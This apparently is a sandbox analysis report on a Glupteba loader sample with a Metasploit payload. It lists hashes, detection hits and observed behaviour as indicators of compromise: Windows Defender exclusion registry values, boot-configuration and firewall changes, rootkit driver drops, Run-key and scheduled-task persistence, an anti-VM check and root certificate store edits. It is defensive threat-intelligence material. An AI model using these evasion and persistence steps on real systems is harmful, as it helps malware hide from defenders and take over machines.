glupteba | f8d22a355cd53868c8a421fc73d742ef0b521df219d594e347f759877d3d11bf

Analysis

max time kernel
149s
max time network
139s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
21/01/2024, 04:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6c5acb0a43a76024422d3f9c8b01cf8a.exe
Size 4.5MB
Sample240121-e5e68seehk
SHA256 f8d22a355cd53868c8a421fc73d742ef0b521df219d594e347f759877d3d11bf
MD5 6c5acb0a43a76024422d3f9c8b01cf8a
SHA1 a08fdfbd4a903356d918f4f9424f3b1bcd60d17f
SHA512 298ef5c3ad8f0a1aa5656e639cd98233555c7b3a8203fb3aee0a22e00ce2ec108a2877fdf31e20db4f4e2f585f76e810ae1d5ba0c74eb8579580d8cab9c9d412
SSDEEP 98304:FW4LNxIS+qVaaz2zhAa4TPoESOQ0jwhbmI223Ns8WCt1mYtC6:F/IZqr2zCas3SB0jw1223uGDVX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence rootkit trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 22 IoCs

resource	yara_rule
behavioral1/memory/2652-2-0x0000000001300000-0x0000000001C26000-memory.dmp	family_glupteba
behavioral1/memory/2652-3-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2652-6-0x0000000001300000-0x0000000001C26000-memory.dmp	family_glupteba
behavioral1/memory/2652-4-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2704-9-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2704-18-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-23-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-232-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-237-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-238-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-239-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-240-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-241-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-294-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-324-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-325-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-326-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-327-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-328-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-329-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-354-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba
behavioral1/memory/2600-355-0x0000000000400000-0x0000000000D41000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FrostyMeadow = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\6c5acb0a43a76024422d3f9c8b01cf8a.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
1608	bcdedit.exe
2332	bcdedit.exe
2420	bcdedit.exe
2672	bcdedit.exe
2064	bcdedit.exe
2960	bcdedit.exe
1924	bcdedit.exe
1760	bcdedit.exe
1040	bcdedit.exe
792	bcdedit.exe
708	bcdedit.exe
540	bcdedit.exe
1980	bcdedit.exe
3008	bcdedit.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

pid	Process
2800	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Executes dropped EXE 4 IoCs

pid	Process
2600	csrss.exe
2044	patch.exe
2292	dsefix.exe
1532	injector.exe

Loads dropped DLL 13 IoCs

pid	Process
2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe
2704	6c5acb0a43a76024422d3f9c8b01cf8a.exe
868	Process not Found
2044	patch.exe
2044	patch.exe
2044	patch.exe
2044	patch.exe
2044	patch.exe
2044	patch.exe
2044	patch.exe
2044	patch.exe
2600	csrss.exe
2600	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FrostyMeadow = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\6c5acb0a43a76024422d3f9c8b01cf8a.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	6c5acb0a43a76024422d3f9c8b01cf8a.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Windows\CurrentVersion\Run\FrostyMeadow = "\"C:\\Windows\\rss\\csrss.exe\""	6c5acb0a43a76024422d3f9c8b01cf8a.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMon driver. 1 IoCs

Roottkits write to WinMon to hide PIDs from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMon	csrss.exe

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357	csrss.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	6c5acb0a43a76024422d3f9c8b01cf8a.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	6c5acb0a43a76024422d3f9c8b01cf8a.exe
File created	C:\Windows\rss\csrss.exe	6c5acb0a43a76024422d3f9c8b01cf8a.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240121043116.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2848	schtasks.exe
1028	schtasks.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	29	Go-http-client/1.1
HTTP User-Agent header	30	Go-http-client/1.1
HTTP User-Agent header	38	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	6c5acb0a43a76024422d3f9c8b01cf8a.exe

Modifies system certificate store 2 TTPs 18 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
